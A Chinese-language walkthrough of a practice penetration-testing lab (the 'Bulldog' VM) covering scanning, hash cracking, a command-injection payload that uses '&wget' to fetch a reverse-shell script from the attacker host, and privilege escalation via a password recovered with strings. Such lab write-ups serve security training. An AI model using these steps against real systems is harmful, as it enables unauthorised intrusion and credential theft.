目录
一、实验环境
二、信息收集
三、渗透测试
1、漏洞发现和利用
2、提权
四、总结
一、实验环境
- 靶机:bolldog靶机(192.168.1.105)
- 攻击机:kali Linux(192.168.1.104)
二、信息收集
主机发现
或者用netdiscover也可以。命令:netdiscover -i eth0 -r 192.168.1.0/24
端口扫描,首先用masscan看看它开启了哪些端口,他的速度过快时貌似发现不了某些端口,可以多扫描几次。
使用nmap进行版本探测和操作系统识别
由于它开放了80端口,我们先进行目录扫描 dirb http://192.168.1.105
网站指纹信息识别(whatweb)
- 经过信息收集我们得到了以下信息:
- IP => 192.168.1.105
- OS => Linux 3.2 - 4.9
- Linux_kernel(内核) => 4
- 23端口 => ssh服务
- 80端口 => http服务–WSGIServer 0.1 (Python 2.7.12)
- 8080端口 => http服务–WSGIServer 0.1 (Python 2.7.12)
- 有用的web目录:
http://192.168.1.105/admin/
http://192.168.1.105/dev/
http://192.168.1.105/robots.txt
三、渗透测试
1、漏洞发现和利用
首先尝试对23端口的ssh服务进行爆破
由于字典不够强大,爆破失败,我们尝试从web站点渗透。首先访问目标网站主页
再看看robots.txt文件看是否可以利用
被过滤了,无法利用。这里是一个登录界面。可以用bp尝试暴力破解,由于字典不够牛逼,暴力破解失败。
访问该页面的前提是要先在http://192.168.1.105/admin下登录成功。
我们接下来要首先想办法从admin下登录
我们查看该页面的源码这里有个目录访问试试看
没有任何有用的信息。我们再接着看刚才网页的源码。这里有邮箱和经过MD5加密的东西,我们猜测用户名可能是邮箱名,密码就是经过MD5加密的东西。对这些值进行解密。
最后两个的MD5值解密成功,将其写入一个.txt文件
尝试进行登录,登录之后我们发现都无法登录。这里猜测用户名会不会是把@之后的东西东西去除,也就是nick和sarah。再次尝试进行登录。
登录成功,登录之后也没有什么可以利用的点。这时我们想到的了http://192.168.1.105/dev下的webshell,我们访问看看有什么新的发现。
我们发现这里有一个命令执行窗口,很nice看看是否有命令执行漏洞。
命令执行漏洞存在。写一个python的反弹shell脚本shell.py,把它放到kali的/var/www/html下。
在kali中开启apache服务
在靶机的web-shell中执行
ls&wget http://192.168.1.104/shell.py
命令。
上传python反弹shell脚本成功,在kali端监听1234端口。
运行shell.py程序
连接成功,拿到shell。
2、提权
进入/home目录下查看有那些用户
查看bulldogadmin中的内容
我们发现了一个.hiddenadmindirectory隐藏文件,查看它里面的内容。发现里面有两个文件customPermissApp和note。
我们
cat note
发现里面并没有有用的信息,而
cat customPermissionApp
得到的内容又是乱码。这里可以用
strings命令
。
根据经验判断SUPERultimatePASSWORDyouCANTget可能是密码。然后使用python将临时的shell变为tty,语法:
sudo python -c 'import pty;pty.spawn("/bin/bash")'
。
提权成功!!!
四、总结
masscan
扫描的速度过快时会扫不出某些开放的端口,–rate的设置不要太大。WSGIServer
:WSGI是python语言所定义的Web服务器
和Web应用程序
之间或框架
之间的通用接口标准,WSGI是一座桥梁,桥梁的一端为服务器或网关
,另一端为应用端或者框架端
,WSGI的作用就是在协议之间进行转化。WSGI将web组件分成了三类:web服务器(WSGIServer)
、Web中间件(WSGIMiddleware)
与Web应用程序(WSGIApplication)
。WebServer
接收HTTP请求,封装一系列环境变量,按照WSGI接口标准调用注册的WSGIApplication
,最后将响应返回给客户端
。X-Frame-Options
:是一个HTTP标头,用来告诉浏览器这个网页是否可以放在iFrame内。- X-Frame-Options: DENY(不放入)
- X-Frame-Options: SAMEORIGIN(告诉浏览器只有当架设iFrame的网站与发出X-Frame-Options的网站相同,才能显示发出X-Frame- Options网页的内容)
- X-Frame-Options: ALLOW-FROM http://xxxx( 告诉浏览器这个网页只能放在http://xxxx网页架设的iFrame内)。
string命令
:打印文件中可打印的字符。当cat命令不能有效的读取文件时可以使用它。- 当登录成功之后,要想到利用web-shell。
- 注意一些
文件夹的命名
、特殊的路径
和网页中的信息
。 - MSF下
search ssh_login
模块的使用。 subprocess.call()
:执行指定的命令,返回命令的执行状态,其功能类似于os.system(cmd)
。os.dup2(fd,fd2)
:用于将一个文件描述符fd复制到另一个fd2。